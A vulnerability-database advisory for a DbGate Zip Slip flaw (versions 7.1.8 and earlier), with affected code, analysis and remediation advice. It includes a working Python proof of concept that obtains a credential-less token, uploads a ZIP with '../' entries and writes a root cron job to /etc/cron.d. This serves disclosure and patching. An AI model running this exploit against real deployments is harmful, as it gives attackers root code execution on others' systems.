Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from Vendor (https://github.com/dbgate/dbgate) · only source for this CVE.
CVSS VectorVendor: https://github.com/dbgate/dbgate
Lifecycle Timeline
4DescriptionCVE.org
The unzipDirectory() function in packages/api/src/shell/unzipDirectory.js (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with ../ entries writes files anywhere on the filesystem.
In the default Docker deployment, DbGate runs as root and the none auth provider issues JWT tokens without credentials via POST /auth/login, so this is exploitable by any network-adjacent attacker.
Affected code:
packages/api/src/shell/unzipDirectory.js, line 27:
const destPath = path.join(outputDirectory, entry.fileName);
// No check that destPath stays within outputDirectoryCalled from packages/api/src/controllers/archive.js, lines 291-293:
async unzip({ folder }) {
const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) });
await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder));The archive controller also has zero permission checks and zero path traversal protection on any of its endpoints.
PoC:
import requests, zipfile, io
TARGET = "http://localhost:3000"
# Get auth token (no credentials needed in default Docker)
r = requests.post(f"{TARGET}/api/auth/login", json={"amoid": "none"})
token = r.json()["accessToken"]
hdrs = {"Authorization": f"Bearer {token}"}
# Create malicious ZIP with path traversal
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
zf.writestr("../../../../../../etc/cron.d/dbgate-pwn",
"* * * * * root id > /tmp/pwned\n")
buf.seek(0)
# Upload ZIP
r = requests.post(f"{TARGET}/api/uploads/upload", headers=hdrs,
files={"data": ("evil.zip", buf, "application/zip")})
info = r.json()
# Save to archive
requests.post(f"{TARGET}/api/archive/save-uploaded-zip", headers=hdrs,
json={"filePath": info["filePath"], "fileName": "evil.zip"})
# Trigger Zip Slip - writes cron job to /etc/cron.d/
requests.post(f"{TARGET}/api/archive/unzip", headers=hdrs,
json={"folder": "evil.zip"})
print("Check /tmp/pwned after 1 minute")Impact: Arbitrary file write as root -> RCE. Full container compromise in Docker deployments.
AnalysisAI
Remote code execution in DbGate versions 7.1.8 and earlier allows network-adjacent attackers to achieve full container compromise via a Zip Slip flaw in the archive unzip endpoint. Because the default Docker deployment runs as root and the bundled 'none' authentication provider issues JWT tokens without credentials, any attacker reachable on the network can upload a malicious ZIP that writes files anywhere on the filesystem, including cron entries for code execution. Publicly available exploit code exists in the GHSA advisory itself, and an upstream patched release (7.1.9) is available.
Technical ContextAI
DbGate is an open-source database management web application distributed as the npm package 'dbgate' (pkg:npm/dbgate) and commonly deployed as a Docker container. The root cause is a CWE-22 path traversal in packages/api/src/shell/unzipDirectory.js at line 27, where destPath is computed as path.join(outputDirectory, entry.fileName) without verifying that the resolved path remains within outputDirectory. This is the canonical 'Zip Slip' pattern: archive entries containing '../' sequences resolve outside the intended extraction directory. The vulnerable function is invoked from the archive controller's unzip handler (packages/api/src/controllers/archive.js, lines 291-293), which exposes the behavior over HTTP and, per the advisory, lacks both permission checks and path traversal protection across its endpoints. The exposure is amplified by two deployment characteristics: the default Docker image runs the Node.js process as root, and the 'none' auth provider mints valid JWTs from POST /auth/login without any credentials.
RemediationAI
Vendor-released patch: upgrade dbgate to version 7.1.9 or later, available at https://github.com/dbgate/dbgate/releases/tag/v7.1.9, per the GHSA advisory at https://github.com/dbgate/dbgate/security/advisories/GHSA-h535-j5hr-mv56; for Docker users this means pulling the 7.1.9 (or newer) image tag and redeploying. If immediate upgrade is not possible, disable the 'none' authentication provider and require a real auth backend so that anonymous POST /auth/login no longer mints valid JWTs (trade-off: existing automation that relied on credential-less access will break and must be reconfigured). Additionally restrict network exposure of the DbGate API to trusted administrative networks via firewall, reverse-proxy ACLs, or a VPN, since the archive/unzip and uploads endpoints are the attack surface (trade-off: remote users must connect through the chosen access path). Where feasible, run the container as a non-root user and mount the filesystem read-only outside the archive directory to blunt the arbitrary-file-write primitive (trade-off: may require image rebuild and breaks any feature that writes outside the archive dir).
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-48377
GHSA-h535-j5hr-mv56